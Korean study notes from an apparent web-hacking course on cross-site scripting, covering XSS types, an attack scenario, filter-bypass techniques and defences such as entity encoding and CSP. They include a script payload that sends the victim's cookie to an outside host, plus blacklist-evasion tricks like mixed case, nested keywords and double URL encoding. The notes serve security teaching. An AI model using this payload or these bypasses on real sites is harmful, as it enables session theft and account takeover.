[week_6] XSS
0. 들어가기
[스터디]
- XSS (2/2)
: 세션 탈취
: 키로거 삽입
: 대응 방안
모의해킹 직무 연봉
1. XSS
> 클라이언트 측 스크립트 삽입하는 공격
> 클라이언트 측 웹 브라우저에서 실행되는 공격
2. XSS 종류 및 포인트
종류별 내용 정리가 필요
- STORED XSS
> HTML, DB
- Reflected XSS
> 링크(URL)
*공격 링크를 만드는 방식
- DOM Based XSS
> 클라이언트 측에서 조립되는 방식
> Document.write() : html, js
※ XSS Point
<script>alert(1);</script>
자바 스크립트의 특징을 이용
3. XSS 공격 시나리오
Step 1. 세션(session) 탈취
<script>
document.write('<img src="http://normaltic.com/?'+document.cookie+' "/>');
</script>
Step2. HTML Injection
Step 3. KeyLogger 삽입
javascript keylogger
Step4. Miner 실행
> javascript miner
> xss miner
Step5. Redrect (phisging)
4. XSS 필터링 우회
- Client Side 검증
> Javascript
- Black List 키워드 필터링
> 대소문자 혼합 ScRipt
> 키워드 반복 <scrscriptipt>
* URL Double Encoding " -> %22 -> %2522
%2522 -> %22 -> "
- HTML 특수 문자를 HTML Enitiy 치환
<input>
< >
예외 ) HTML Editor
<img><script>~~~
Step 1. 사용자 입력에서 모든 HTML 특수 문자들을 HTML Entity로 치환
<img><script>~~~
Step 2. 살려줄 Tag , 화이트리스트 기반 살려줄 태그들을 다시 살려준다.
img , div
<img onerror><script>~~~
Step 3. 스크립트 실행이 가능한(제한해야 할) Event Handler 블랙리스트 기반으로 필터링!
<img onxxror><script>~~~
- White List XSS 필터링
- 보안 라이브러리 사용
- Black List 기반 필터링
- 보안 정책 CSP